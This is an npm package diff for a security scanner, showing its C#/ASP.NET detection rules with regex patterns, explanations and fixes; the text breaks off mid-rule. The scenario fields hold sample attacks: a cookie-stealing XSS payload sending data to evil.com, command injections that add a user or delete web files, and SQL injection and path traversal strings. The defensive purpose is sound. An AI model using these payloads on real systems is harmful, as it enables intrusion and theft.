@activemind/scd 1.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE.md +35 -0
- package/README.md +417 -0
- package/bin/scd.js +140 -0
- package/lib/audit-report.js +93 -0
- package/lib/audit-sync.js +172 -0
- package/lib/audit.js +356 -0
- package/lib/cli-helpers.js +108 -0
- package/lib/commands/accept.js +28 -0
- package/lib/commands/audit.js +17 -0
- package/lib/commands/configure.js +200 -0
- package/lib/commands/doctor.js +14 -0
- package/lib/commands/exceptions.js +19 -0
- package/lib/commands/export-findings.js +46 -0
- package/lib/commands/findings.js +306 -0
- package/lib/commands/ignore.js +28 -0
- package/lib/commands/init.js +16 -0
- package/lib/commands/insights.js +24 -0
- package/lib/commands/install.js +15 -0
- package/lib/commands/list.js +109 -0
- package/lib/commands/remove.js +16 -0
- package/lib/commands/repo.js +862 -0
- package/lib/commands/report.js +234 -0
- package/lib/commands/resolve.js +25 -0
- package/lib/commands/rules.js +185 -0
- package/lib/commands/scan.js +519 -0
- package/lib/commands/scope.js +341 -0
- package/lib/commands/sync.js +40 -0
- package/lib/commands/uninstall.js +15 -0
- package/lib/commands/version.js +33 -0
- package/lib/comment-map.js +388 -0
- package/lib/config.js +325 -0
- package/lib/context-modifiers.js +211 -0
- package/lib/deep-analyzer.js +225 -0
- package/lib/doctor.js +236 -0
- package/lib/exception-manager.js +675 -0
- package/lib/export-findings.js +376 -0
- package/lib/file-context.js +380 -0
- package/lib/file-filter.js +204 -0
- package/lib/file-manifest.js +145 -0
- package/lib/git-utils.js +102 -0
- package/lib/global-config.js +239 -0
- package/lib/hooks-manager.js +130 -0
- package/lib/init-repo.js +147 -0
- package/lib/insights-analyzer.js +416 -0
- package/lib/insights-output.js +160 -0
- package/lib/installer.js +128 -0
- package/lib/output-constants.js +32 -0
- package/lib/output-terminal.js +407 -0
- package/lib/push-queue.js +322 -0
- package/lib/remove-repo.js +108 -0
- package/lib/repo-context.js +187 -0
- package/lib/report-html.js +1154 -0
- package/lib/report-index.js +157 -0
- package/lib/report-json.js +136 -0
- package/lib/report-markdown.js +250 -0
- package/lib/resolve-manager.js +148 -0
- package/lib/rule-registry.js +205 -0
- package/lib/scan-cache.js +171 -0
- package/lib/scan-context.js +312 -0
- package/lib/scan-schema.js +67 -0
- package/lib/scanner-full.js +681 -0
- package/lib/scanner-manual.js +348 -0
- package/lib/scanner-secrets.js +83 -0
- package/lib/scope.js +331 -0
- package/lib/store-verify.js +395 -0
- package/lib/store.js +310 -0
- package/lib/taint-register.js +196 -0
- package/lib/version-check.js +46 -0
- package/package.json +37 -0
- package/rules/rule-loader.js +324 -0
- package/rules/rules-aspx-cs.json +399 -0
- package/rules/rules-aspx.json +222 -0
- package/rules/rules-infra-leakage.json +434 -0
- package/rules/rules-js.json +664 -0
- package/rules/rules-php.json +521 -0
- package/rules/rules-python.json +466 -0
- package/rules/rules-secrets.json +99 -0
- package/rules/rules-sensitive-files.json +475 -0
- package/rules/rules-ts.json +76 -0
|
@@ -0,0 +1,399 @@
|
|
|
1
|
+
{
|
|
2
|
+
"schema_version": 1,
|
|
3
|
+
"rules": [
|
|
4
|
+
{
|
|
5
|
+
"id": "CS-INJ-001",
|
|
6
|
+
"name": "SQL Injection – string concatenation in SqlCommand",
|
|
7
|
+
"severity": "CRITICAL",
|
|
8
|
+
"category": "Injection (OWASP A03)",
|
|
9
|
+
"pattern": "new\\s+SqlCommand\\s*\\([\\s\\S]{0,400}[\"'][^\"']*[\"']\\s*\\+\\s*\\w+",
|
|
10
|
+
"flags": "g",
|
|
11
|
+
"antipattern": "SqlParameter|Parameters\\.Add|Parameters\\.AddWithValue",
|
|
12
|
+
"antipattern_flags": "i",
|
|
13
|
+
"lookahead": 400,
|
|
14
|
+
"file_types": [
|
|
15
|
+
"cs"
|
|
16
|
+
],
|
|
17
|
+
"why": "Building a SqlCommand by concatenating strings with user input allows an attacker to inject arbitrary SQL. The database executes whatever SQL is constructed — including UNION SELECT, DROP TABLE, or authentication bypass.",
|
|
18
|
+
"scenario": "User enters ' OR '1'='1 in a login field. The query becomes WHERE username='' OR '1'='1' AND password='' — returning all users and bypassing authentication entirely.",
|
|
19
|
+
"fix": "Use parameterized queries: SqlCommand cmd = new SqlCommand(\"SELECT * FROM Users WHERE username=@user AND password=@pass\", conn); cmd.Parameters.AddWithValue(\"@user\", username); cmd.Parameters.AddWithValue(\"@pass\", password);"
|
|
20
|
+
},
|
|
21
|
+
{
|
|
22
|
+
"id": "CS-INJ-002",
|
|
23
|
+
"name": "SQL Injection – string.Format used to build query",
|
|
24
|
+
"severity": "CRITICAL",
|
|
25
|
+
"category": "Injection (OWASP A03)",
|
|
26
|
+
"pattern": "string\\.Format\\s*\\(\\s*[\"'][^\"']{0,20}(?:SELECT|INSERT|UPDATE|DELETE|WHERE|FROM)[^\"']{0,200}\\{[0-9]\\}[^\"']{0,100}[\"']",
|
|
27
|
+
"flags": "gi",
|
|
28
|
+
"antipattern": "SqlParameter|Parameters\\.Add",
|
|
29
|
+
"antipattern_flags": "i",
|
|
30
|
+
"lookahead": 300,
|
|
31
|
+
"file_types": [
|
|
32
|
+
"cs"
|
|
33
|
+
],
|
|
34
|
+
"why": "string.Format substitutes values positionally into the SQL string before it reaches the database driver. The driver sees a complete SQL string with no way to distinguish data from structure — identical to direct concatenation.",
|
|
35
|
+
"scenario": "Query becomes SELECT * FROM Anstallda WHERE nPersID = 1 OR 1=1 when attacker passes \"1 OR 1=1\" as the id parameter. All employee records are returned.",
|
|
36
|
+
"fix": "Replace string.Format SQL construction with SqlParameter: cmd.Parameters.AddWithValue(\"@id\", id); Never use string.Format, string.Concat, or interpolation to build SQL queries."
|
|
37
|
+
},
|
|
38
|
+
{
|
|
39
|
+
"id": "CS-INJ-003",
|
|
40
|
+
"name": "SQL Injection – C# string interpolation in query",
|
|
41
|
+
"severity": "CRITICAL",
|
|
42
|
+
"category": "Injection (OWASP A03)",
|
|
43
|
+
"pattern": "\\$\"[^\"\\n]{0,20}(?:SELECT|INSERT|UPDATE|DELETE|WHERE|FROM)[^\"\\n]{0,200}\\{[^}\"\\n]{1,60}\\}",
|
|
44
|
+
"flags": "gi",
|
|
45
|
+
"antipattern": "SqlParameter|Parameters\\.Add",
|
|
46
|
+
"antipattern_flags": "i",
|
|
47
|
+
"lookahead": 300,
|
|
48
|
+
"file_types": [
|
|
49
|
+
"cs"
|
|
50
|
+
],
|
|
51
|
+
"why": "C# string interpolation ($\"...{var}...\") is syntactic sugar for string concatenation. The resulting string is passed to the database as-is — the interpolated values are not parameterized.",
|
|
52
|
+
"scenario": "An attacker submits search=' UNION SELECT username,password FROM Users-- causing the interpolated query to return credentials from the Users table alongside normal results.",
|
|
53
|
+
"fix": "Never use $\"...\" interpolation to build SQL. Use parameterized queries exclusively. Consider using an ORM (Entity Framework, Dapper) which parameterizes by default."
|
|
54
|
+
},
|
|
55
|
+
{
|
|
56
|
+
"id": "CS-REDIRECT-001",
|
|
57
|
+
"name": "Open redirect – Response.Redirect with unvalidated Request value",
|
|
58
|
+
"severity": "HIGH",
|
|
59
|
+
"category": "Security Misconfiguration (OWASP A05)",
|
|
60
|
+
"pattern": "Response\\.Redirect\\s*\\(\\s*Request\\s*\\.\\s*(?:QueryString|Form|Params|Url|RawUrl)\\b",
|
|
61
|
+
"flags": "gi",
|
|
62
|
+
"file_types": [
|
|
63
|
+
"cs"
|
|
64
|
+
],
|
|
65
|
+
"why": "Passing a Request value directly to Response.Redirect allows an attacker to redirect users to any URL after a legitimate action. Commonly used for phishing and credential harvesting.",
|
|
66
|
+
"scenario": "Attacker sends victim a link: /Login.aspx?returnUrl=https://evil.com/fake-login. After authenticating, the user is silently redirected to the phishing site.",
|
|
67
|
+
"fix": "Validate redirect URLs before use: if (Uri.IsWellFormedUriString(returnUrl, UriKind.Relative)) Response.Redirect(returnUrl); else Response.Redirect(\"~/Default.aspx\"); Never redirect to absolute URLs taken from user input."
|
|
68
|
+
},
|
|
69
|
+
{
|
|
70
|
+
"id": "CS-REDIRECT-002",
|
|
71
|
+
"name": "Open redirect – Response.Redirect with unvalidated variable",
|
|
72
|
+
"severity": "HIGH",
|
|
73
|
+
"category": "Security Misconfiguration (OWASP A05)",
|
|
74
|
+
"pattern": "Response\\.Redirect\\s*\\(\\s*(?:returnUrl|backUrl|backurl|redirectUrl|redirect|next|returnTo|goto)\\s*\\)",
|
|
75
|
+
"flags": "gi",
|
|
76
|
+
"file_types": [
|
|
77
|
+
"cs"
|
|
78
|
+
],
|
|
79
|
+
"why": "Variables named returnUrl, backUrl, redirect etc. are almost always populated from Request parameters. Passing them to Response.Redirect without validation creates an open redirect.",
|
|
80
|
+
"scenario": "Common pattern in login pages: user is redirected to returnUrl after login. Attacker distributes a URL with returnUrl pointing to a credential-harvesting page.",
|
|
81
|
+
"fix": "Always validate redirect destinations: use a whitelist of allowed paths, or check that the URL is a relative path using Uri.IsWellFormedUriString(url, UriKind.Relative)."
|
|
82
|
+
},
|
|
83
|
+
{
|
|
84
|
+
"id": "CS-PATH-001",
|
|
85
|
+
"name": "Path traversal – user input used directly in file path",
|
|
86
|
+
"severity": "CRITICAL",
|
|
87
|
+
"category": "Broken Access Control (OWASP A01)",
|
|
88
|
+
"pattern": "File\\s*\\.\\s*(?:ReadAllText|ReadAllBytes|WriteAllText|WriteAllBytes|Delete|Move|Copy|Open|AppendAllText)\\s*\\([^;)]{0,100}(?:Request\\s*\\.\\s*(?:QueryString|Form|Params)\\s*\\[|\\w*(?:file|path|name|doc)\\w*)",
|
|
89
|
+
"flags": "gi",
|
|
90
|
+
"file_types": [
|
|
91
|
+
"cs"
|
|
92
|
+
],
|
|
93
|
+
"why": "Using user-supplied filenames with File I/O operations without path validation allows attackers to read or write arbitrary files on the server using directory traversal sequences (../).",
|
|
94
|
+
"scenario": "Attacker sends ?file=../../Web.config. Server reads and returns the Web.config file containing database connection strings, passwords, and application secrets.",
|
|
95
|
+
"fix": "Validate and sanitize file paths: (1) Use Path.GetFileName() to strip directory components. (2) Resolve the full path with Path.GetFullPath() and verify it starts with the expected base directory. (3) Never pass user input directly to File methods."
|
|
96
|
+
},
|
|
97
|
+
{
|
|
98
|
+
"id": "CS-PATH-002",
|
|
99
|
+
"name": "Path traversal – Path.Combine with user input",
|
|
100
|
+
"severity": "HIGH",
|
|
101
|
+
"category": "Broken Access Control (OWASP A01)",
|
|
102
|
+
"pattern": "Path\\.Combine\\s*\\([\\s\\S]{0,200}(?:Request\\s*\\.\\s*(?:QueryString|Form|Params)\\s*\\[|\\b(?:fileName|docName|filePath|userInput|inputPath)\\b)",
|
|
103
|
+
"flags": "gi",
|
|
104
|
+
"file_types": [
|
|
105
|
+
"cs"
|
|
106
|
+
],
|
|
107
|
+
"why": "Path.Combine does not sanitize its inputs. If the user-supplied segment is an absolute path (e.g. C:\\\\Windows\\\\), Path.Combine ignores the base path entirely. Directory traversal with ../ also works.",
|
|
108
|
+
"scenario": "Path.Combine(\"C:\\\\Uploads\\\\\", \"..\\\\..\\\\Web.config\") resolves to C:\\\\Web.config. Attacker reads server configuration files by manipulating the filename parameter.",
|
|
109
|
+
"fix": "After Path.Combine, verify the resolved path starts with the intended base: string full = Path.GetFullPath(Path.Combine(baseDir, userInput)); if (!full.StartsWith(baseDir)) throw new UnauthorizedAccessException();"
|
|
110
|
+
},
|
|
111
|
+
{
|
|
112
|
+
"id": "CS-CRYPTO-001",
|
|
113
|
+
"name": "Weak hashing – MD5 used for passwords or sensitive data",
|
|
114
|
+
"severity": "CRITICAL",
|
|
115
|
+
"category": "Cryptographic Failures (OWASP A02)",
|
|
116
|
+
"pattern": "MD5\\s*\\.\\s*Create\\s*\\(\\s*\\)|new\\s+MD5CryptoServiceProvider\\s*\\(\\s*\\)|MD5\\.HashData",
|
|
117
|
+
"flags": "gi",
|
|
118
|
+
"file_types": [
|
|
119
|
+
"cs"
|
|
120
|
+
],
|
|
121
|
+
"why": "MD5 is cryptographically broken. MD5 hashes can be reversed via precomputed rainbow tables in seconds. It was never designed for password storage — it is a checksum algorithm optimized for speed.",
|
|
122
|
+
"scenario": "A database breach exposes MD5-hashed passwords. Attackers run the hashes through freely available rainbow table lookups (e.g. crackstation.net) and recover most passwords within minutes.",
|
|
123
|
+
"fix": "Use BCrypt, Argon2, or PBKDF2 for password hashing: using var hasher = new PasswordHasher<string>(); string hash = hasher.HashPassword(null, password); For .NET 6+: use Rfc2898DeriveBytes with SHA-256 and at least 100,000 iterations."
|
|
124
|
+
},
|
|
125
|
+
{
|
|
126
|
+
"id": "CS-CRYPTO-002",
|
|
127
|
+
"name": "Weak hashing – SHA1 used for passwords or sensitive data",
|
|
128
|
+
"severity": "CRITICAL",
|
|
129
|
+
"category": "Cryptographic Failures (OWASP A02)",
|
|
130
|
+
"pattern": "SHA1\\s*\\.\\s*Create\\s*\\(\\s*\\)|new\\s+SHA1(?:Managed|CryptoServiceProvider)\\s*\\(\\s*\\)|SHA1\\.HashData",
|
|
131
|
+
"flags": "gi",
|
|
132
|
+
"file_types": [
|
|
133
|
+
"cs"
|
|
134
|
+
],
|
|
135
|
+
"why": "SHA1 is insufficient for password storage. While more resistant than MD5, SHA1 is still vulnerable to GPU-accelerated brute force attacks. Billions of SHA1 hashes can be tested per second on consumer hardware.",
|
|
136
|
+
"scenario": "Attacker with a database dump and a consumer GPU can crack simple SHA1 passwords in minutes using hashcat. Common passwords fall within seconds.",
|
|
137
|
+
"fix": "Replace SHA1 with a proper password hashing algorithm. Use BCrypt (BCrypt.Net-Next package) or ASP.NET Identity's PasswordHasher which uses PBKDF2-SHA256 with 100,000 iterations by default."
|
|
138
|
+
},
|
|
139
|
+
{
|
|
140
|
+
"id": "CS-CRYPTO-003",
|
|
141
|
+
"name": "Hardcoded encryption key or IV",
|
|
142
|
+
"severity": "CRITICAL",
|
|
143
|
+
"category": "Cryptographic Failures (OWASP A02)",
|
|
144
|
+
"pattern": "Encoding\\.\\w+\\.GetBytes\\s*\\(\\s*[\"'][^\"']{3,50}[\"']\\s*\\)|\\.(?:Key|IV)\\s*=\\s*(?:Encoding\\.\\w+\\.GetBytes\\s*\\(\\s*[\"']|new\\s+byte\\s*\\[\\s*\\]\\s*\\{)",
|
|
145
|
+
"flags": "gi",
|
|
146
|
+
"file_types": [
|
|
147
|
+
"cs"
|
|
148
|
+
],
|
|
149
|
+
"why": "Hardcoded cryptographic keys provide no real security — anyone with access to the source code, binary, or decompiler has the key. The encryption is effectively theatre.",
|
|
150
|
+
"scenario": "Attacker decompiles the .NET assembly (trivial with tools like dnSpy or ILSpy) and extracts the hardcoded key. All encrypted data in the database can now be decrypted.",
|
|
151
|
+
"fix": "Store encryption keys outside the application: use Windows DPAPI, Azure Key Vault, AWS KMS, or at minimum environment variables / encrypted app settings. Never hardcode key material in source."
|
|
152
|
+
},
|
|
153
|
+
{
|
|
154
|
+
"id": "CS-AUTH-001",
|
|
155
|
+
"name": "Cookie missing HttpOnly and/or Secure flag",
|
|
156
|
+
"severity": "HIGH",
|
|
157
|
+
"category": "Identification and Authentication Failures (OWASP A07)",
|
|
158
|
+
"pattern": "new\\s+HttpCookie\\s*\\(",
|
|
159
|
+
"flags": "gi",
|
|
160
|
+
"antipattern": "\\.HttpOnly\\s*=\\s*true",
|
|
161
|
+
"antipattern_flags": "i",
|
|
162
|
+
"lookahead": 400,
|
|
163
|
+
"file_types": [
|
|
164
|
+
"cs"
|
|
165
|
+
],
|
|
166
|
+
"why": "Cookies without HttpOnly can be read by JavaScript — any XSS vulnerability immediately leads to session theft. Cookies without Secure are transmitted over HTTP, allowing interception on any non-HTTPS connection.",
|
|
167
|
+
"scenario": "Application has an XSS vulnerability. Attacker injects document.location=\"https://evil.com?c=\"+document.cookie. Every visitor's auth cookie is stolen and their session hijacked.",
|
|
168
|
+
"fix": "Always set both flags: HttpCookie cookie = new HttpCookie(\"AuthToken\", value); cookie.HttpOnly = true; cookie.Secure = true; cookie.SameSite = SameSiteMode.Strict; Also configure globally in Web.config: <httpCookies httpOnlyCookies=\"true\" requireSSL=\"true\" />"
|
|
169
|
+
},
|
|
170
|
+
{
|
|
171
|
+
"id": "CS-AUTH-002",
|
|
172
|
+
"name": "Session fixation – session not regenerated after authentication",
|
|
173
|
+
"severity": "HIGH",
|
|
174
|
+
"category": "Identification and Authentication Failures (OWASP A07)",
|
|
175
|
+
"pattern": "Session\\s*\\[\\s*[\"'](?:username|isAuthenticated|userId|user|loggedIn|authenticated|role)[\"']\\s*\\]\\s*=",
|
|
176
|
+
"flags": "gi",
|
|
177
|
+
"antipattern": "Session\\.Abandon\\s*\\(\\s*\\)|SessionIDManager|RegenerateId",
|
|
178
|
+
"antipattern_flags": "i",
|
|
179
|
+
"lookahead": 500,
|
|
180
|
+
"file_types": [
|
|
181
|
+
"cs"
|
|
182
|
+
],
|
|
183
|
+
"why": "Setting session values without first abandoning the old session allows session fixation attacks. An attacker can pre-establish a session ID, wait for a victim to authenticate, and then use the now-authenticated session.",
|
|
184
|
+
"scenario": "Attacker forces victim to use a known session ID via URL manipulation. Victim logs in — session ID remains the same but is now authenticated. Attacker uses that session ID to access the victim's account.",
|
|
185
|
+
"fix": "Before setting any session values after authentication: Session.Abandon(); Then create a new session. In ASP.NET: Response.Cookies.Add(new HttpCookie(\"ASP.NET_SessionId\", \"\")); to force a new session ID."
|
|
186
|
+
},
|
|
187
|
+
{
|
|
188
|
+
"id": "CS-AUTH-003",
|
|
189
|
+
"name": "Password stored in Session or ViewState",
|
|
190
|
+
"severity": "CRITICAL",
|
|
191
|
+
"category": "Identification and Authentication Failures (OWASP A07)",
|
|
192
|
+
"pattern": "(?:Session|ViewState)\\s*\\[\\s*[\"'][^\"']{0,10}(?:password|passwd|pwd|pass)[^\"']{0,10}[\"']\\s*\\]\\s*=",
|
|
193
|
+
"flags": "gi",
|
|
194
|
+
"file_types": [
|
|
195
|
+
"cs"
|
|
196
|
+
],
|
|
197
|
+
"why": "Storing passwords in Session or ViewState keeps them in memory and potentially serialized to disk. Session data can be exposed through other vulnerabilities or server compromise.",
|
|
198
|
+
"scenario": "A session state database is compromised or a session fixation attack succeeds. Attacker not only gets the victim's session but also their plaintext password, enabling account takeover across all services where the same password is reused.",
|
|
199
|
+
"fix": "Never store passwords after authentication. Authenticate once, store only a user identifier and role. If re-authentication is needed for sensitive operations, prompt for the password again — do not cache it."
|
|
200
|
+
},
|
|
201
|
+
{
|
|
202
|
+
"id": "CS-CMD-001",
|
|
203
|
+
"name": "Command injection – Process.Start with user input",
|
|
204
|
+
"severity": "CRITICAL",
|
|
205
|
+
"category": "Injection (OWASP A03)",
|
|
206
|
+
"pattern": "Process\\.Start\\s*\\([^;]{0,200}(?:Request\\s*\\.\\s*(?:QueryString|Form|Params)\\s*\\[|\\+\\s*\\w+(?:Name|Input|Param|Arg|Value|Host|Cmd|Command))",
|
|
207
|
+
"flags": "gi",
|
|
208
|
+
"file_types": [
|
|
209
|
+
"cs"
|
|
210
|
+
],
|
|
211
|
+
"why": "Passing user input to Process.Start allows arbitrary command execution on the server. An attacker can run any command the application process has permission to execute.",
|
|
212
|
+
"scenario": "Attacker submits report=report.bat & net user hacker Password123! /add. The server creates a new Windows user account. With further commands, they can escalate to full system compromise.",
|
|
213
|
+
"fix": "Avoid Process.Start with any user-controlled data. If external processes are required, use a strict whitelist of allowed commands/arguments validated against a regex or enum. Never pass raw user input to shell commands."
|
|
214
|
+
},
|
|
215
|
+
{
|
|
216
|
+
"id": "CS-CMD-002",
|
|
217
|
+
"name": "Command injection – ProcessStartInfo with user input in Arguments",
|
|
218
|
+
"severity": "CRITICAL",
|
|
219
|
+
"category": "Injection (OWASP A03)",
|
|
220
|
+
"pattern": "(?:psi|startInfo|processInfo|info)\\s*\\.\\s*Arguments\\s*=\\s*[^;]{0,150}(?:\\+\\s*\\w+|\\+\\s*Request\\.)",
|
|
221
|
+
"flags": "gi",
|
|
222
|
+
"file_types": [
|
|
223
|
+
"cs"
|
|
224
|
+
],
|
|
225
|
+
"why": "Setting ProcessStartInfo.Arguments with user input and string concatenation is equivalent to shell injection. Arguments are passed to the shell for interpretation, allowing injection of additional commands.",
|
|
226
|
+
"scenario": "host = \"8.8.8.8 & del C:\\\\inetpub\\\\wwwroot\\\\* /Q\" causes the server to delete all web application files after executing the ping command.",
|
|
227
|
+
"fix": "Use ProcessStartInfo with UseShellExecute = false and pass arguments as separate elements where the API allows it. Validate input against a strict whitelist (e.g. IP address regex for a ping function)."
|
|
228
|
+
},
|
|
229
|
+
{
|
|
230
|
+
"id": "CS-SECRET-001",
|
|
231
|
+
"name": "Hardcoded connection string with credentials in source code",
|
|
232
|
+
"severity": "CRITICAL",
|
|
233
|
+
"category": "Sensitive Data Exposure (OWASP A02)",
|
|
234
|
+
"pattern": "(?:\\\\\\\"|\\\"|')[^\"'\\n]{0,300}Server\\s*=[^\"'\\n]{0,200}Password\\s*=[^;\"'\\n]{1,80}",
|
|
235
|
+
"flags": "gi",
|
|
236
|
+
"antipattern": "ConfigurationManager|appSettings|connectionStrings|Environment\\.GetEnvironmentVariable",
|
|
237
|
+
"antipattern_flags": "i",
|
|
238
|
+
"lookahead": 20,
|
|
239
|
+
"file_types": [
|
|
240
|
+
"cs"
|
|
241
|
+
],
|
|
242
|
+
"why": "Hardcoded credentials in source code are committed to version control, visible in compiled assemblies (trivially decompiled), and cannot be rotated without a code change and redeployment.",
|
|
243
|
+
"scenario": "Developer pushes code to GitHub. Automated scanner finds \"Password=Passw0rd123\" within minutes. Attacker connects directly to the production SQL Server database.",
|
|
244
|
+
"fix": "Use Web.config connectionStrings section (encrypted with aspnet_regiis) or environment variables. Never hardcode credentials in .cs files. Rotate any credentials that have ever been hardcoded immediately."
|
|
245
|
+
},
|
|
246
|
+
{
|
|
247
|
+
"id": "CS-SECRET-002",
|
|
248
|
+
"name": "Hardcoded password in source code",
|
|
249
|
+
"severity": "CRITICAL",
|
|
250
|
+
"category": "Sensitive Data Exposure (OWASP A02)",
|
|
251
|
+
"pattern": "(?:string|var)\\s+\\w*[Pp]assword\\w*\\s*=\\s*[\"'][^\"']{3,50}[\"']",
|
|
252
|
+
"flags": "g",
|
|
253
|
+
"antipattern": "Request\\.|Session\\[|ConfigurationManager|Environment\\.|GetPassword|ReadPassword|HashPassword",
|
|
254
|
+
"antipattern_flags": "i",
|
|
255
|
+
"lookahead": 10,
|
|
256
|
+
"file_types": [
|
|
257
|
+
"cs"
|
|
258
|
+
],
|
|
259
|
+
"why": "Hardcoded passwords are a permanent backdoor. Unlike a stolen session token, a hardcoded password cannot be invalidated without a code change. It also signals that the application uses shared/static credentials.",
|
|
260
|
+
"scenario": "string adminPassword = \"SuperSecret123!\" is found in a code review, decompiled assembly, or leaked repository. All instances of the application share this password with no way to revoke access for a specific user.",
|
|
261
|
+
"fix": "Remove all hardcoded passwords. Use ASP.NET Identity or a proper authentication system with per-user credentials stored as hashed values. For service-to-service authentication, use managed identities or secrets management."
|
|
262
|
+
},
|
|
263
|
+
{
|
|
264
|
+
"id": "CS-XSS-001",
|
|
265
|
+
"name": "XSS – Response.Write with unencoded user input",
|
|
266
|
+
"severity": "HIGH",
|
|
267
|
+
"category": "Injection (OWASP A03)",
|
|
268
|
+
"pattern": "Response\\.Write\\s*\\([^;]{0,200}Request\\s*\\.\\s*(?:QueryString|Form|Params)\\s*\\[",
|
|
269
|
+
"flags": "gi",
|
|
270
|
+
"antipattern": "Server\\.HtmlEncode|HttpUtility\\.HtmlEncode|WebUtility\\.HtmlEncode|AntiXss\\.",
|
|
271
|
+
"antipattern_flags": "i",
|
|
272
|
+
"lookahead": 20,
|
|
273
|
+
"file_types": [
|
|
274
|
+
"cs"
|
|
275
|
+
],
|
|
276
|
+
"why": "Response.Write outputs content directly to the HTTP response. Without encoding, any HTML or script in the user input is executed by the victim's browser.",
|
|
277
|
+
"scenario": "URL: /Search.aspx?q=<script>document.location=\"https://evil.com?c=\"+document.cookie</script>. Page renders the script tag verbatim. Every user who follows this link has their session stolen.",
|
|
278
|
+
"fix": "Encode before output: Response.Write(Server.HtmlEncode(Request.QueryString[\"q\"])); Or use <%: expr %> in markup. For rich output, use a whitelist HTML sanitizer."
|
|
279
|
+
},
|
|
280
|
+
{
|
|
281
|
+
"id": "CS-XSS-002",
|
|
282
|
+
"name": "XSS – Label.Text or Literal.Text set with unencoded user input",
|
|
283
|
+
"severity": "HIGH",
|
|
284
|
+
"category": "Injection (OWASP A03)",
|
|
285
|
+
"pattern": "\\w+\\.Text\\s*(?:\\+=|=)\\s*[^;\\n]{0,150}(?:Request\\s*\\.\\s*(?:QueryString|Form|Params)\\s*\\[|ex\\.\\s*(?:ToString|Message|StackTrace))",
|
|
286
|
+
"flags": "gi",
|
|
287
|
+
"antipattern": "Server\\.HtmlEncode|HttpUtility\\.HtmlEncode|AntiXss\\.",
|
|
288
|
+
"antipattern_flags": "i",
|
|
289
|
+
"lookahead": 20,
|
|
290
|
+
"file_types": [
|
|
291
|
+
"cs"
|
|
292
|
+
],
|
|
293
|
+
"why": "Setting .Text on a Label or Literal control with user input renders it as raw HTML unless the control has Encode=true. Literal controls in particular render exactly what they receive.",
|
|
294
|
+
"scenario": "lblError.Text = Request.Form[\"name\"] renders unescaped HTML. Attacker submits name=<img src=x onerror=alert(document.cookie)> and the XSS payload executes for all users who see the error message.",
|
|
295
|
+
"fix": "Use Server.HtmlEncode: label.Text = Server.HtmlEncode(Request.Form[\"name\"]); Or use asp:Label which HTML-encodes by default when setting Text programmatically via data-binding with <%# %> syntax."
|
|
296
|
+
},
|
|
297
|
+
{
|
|
298
|
+
"id": "CS-ERR-001",
|
|
299
|
+
"name": "Exception details exposed to user via Response.Write",
|
|
300
|
+
"severity": "HIGH",
|
|
301
|
+
"category": "Security Misconfiguration (OWASP A05)",
|
|
302
|
+
"pattern": "catch\\s*\\([^)]{0,50}\\)\\s*\\{[^}]{0,300}Response\\.Write\\s*\\([^;]{0,100}(?:ex\\.|exception\\.|err\\.)",
|
|
303
|
+
"flags": "gi",
|
|
304
|
+
"file_types": [
|
|
305
|
+
"cs"
|
|
306
|
+
],
|
|
307
|
+
"why": "Writing exception details to the HTTP response exposes: stack traces with file paths, source code snippets, SQL queries, internal class/method names, server configuration details. This is reconnaissance gold for an attacker.",
|
|
308
|
+
"scenario": "A SQL error exposes the full query including table structure. A file I/O error reveals C:\\\\inetpub\\\\wwwroot\\\\App\\\\ paths. Combined with other vulnerabilities, this information accelerates exploitation significantly.",
|
|
309
|
+
"fix": "Log exceptions server-side and show only a generic message to the user: catch (Exception ex) { Logger.Error(ex); Response.Redirect(\"~/Error.aspx\"); } Never write ex.ToString() or ex.Message to Response."
|
|
310
|
+
},
|
|
311
|
+
{
|
|
312
|
+
"id": "CS-ERR-002",
|
|
313
|
+
"name": "Exception details exposed via Label.Text or control",
|
|
314
|
+
"severity": "HIGH",
|
|
315
|
+
"category": "Security Misconfiguration (OWASP A05)",
|
|
316
|
+
"pattern": "catch\\s*\\([^)]{0,50}\\)\\s*\\{[^}]{0,300}\\w+\\.Text\\s*=\\s*[^;]{0,100}(?:ex\\.|exception\\.|err\\.)(?:ToString|Message|StackTrace)",
|
|
317
|
+
"flags": "gi",
|
|
318
|
+
"file_types": [
|
|
319
|
+
"cs"
|
|
320
|
+
],
|
|
321
|
+
"why": "Rendering exception details in page controls (Label, Literal) is equivalent to Response.Write — the information is visible in the browser and in the HTML source.",
|
|
322
|
+
"scenario": "lblError.Text = ex.ToString() renders the full stack trace including file paths, exposing source paths and confirming the database library in use.",
|
|
323
|
+
"fix": "Show a user-friendly error message, log the full exception internally: lblError.Text = \"An error occurred. Please try again.\"; EventLog.WriteEntry(\"App\", ex.ToString(), EventLogEntryType.Error);"
|
|
324
|
+
},
|
|
325
|
+
{
|
|
326
|
+
"id": "CS-JWT-001",
|
|
327
|
+
"name": "JWT decoded without signature validation (ValidateSignature = false)",
|
|
328
|
+
"severity": "CRITICAL",
|
|
329
|
+
"category": "Broken Authentication (OWASP A07)",
|
|
330
|
+
"pattern": "ValidateSignature\\s*=\\s*false|ValidateIssuerSigningKey\\s*=\\s*false|ValidateLifetime\\s*=\\s*false\\s*[,}][\\s\\S]{0,200}ValidateSignature|RequireSignedTokens\\s*=\\s*false",
|
|
331
|
+
"flags": "gi",
|
|
332
|
+
"file_types": [
|
|
333
|
+
"cs"
|
|
334
|
+
],
|
|
335
|
+
"why": "Setting ValidateSignature=false or ValidateIssuerSigningKey=false in TokenValidationParameters instructs the .NET JWT middleware to skip cryptographic verification. Any structurally valid JWT is accepted regardless of who signed it.",
|
|
336
|
+
"scenario": "AI sets ValidateIssuerSigningKey = false to silence a key configuration error during development. Code ships. Attacker generates a token with role: \"Admin\" signed with a random key. ASP.NET accepts it and grants admin access.",
|
|
337
|
+
"fix": "Always validate: new TokenValidationParameters { ValidateIssuerSigningKey = true, IssuerSigningKey = new SymmetricSecurityKey(Encoding.UTF8.GetBytes(secretKey)), ValidateIssuer = true, ValidateAudience = true, ValidateLifetime = true }. Store the key in Azure Key Vault or environment variables."
|
|
338
|
+
},
|
|
339
|
+
{
|
|
340
|
+
"id": "CS-JWT-002",
|
|
341
|
+
"name": "JWT algorithm \"none\" or empty signing key — signature bypass",
|
|
342
|
+
"severity": "CRITICAL",
|
|
343
|
+
"category": "Broken Authentication (OWASP A07)",
|
|
344
|
+
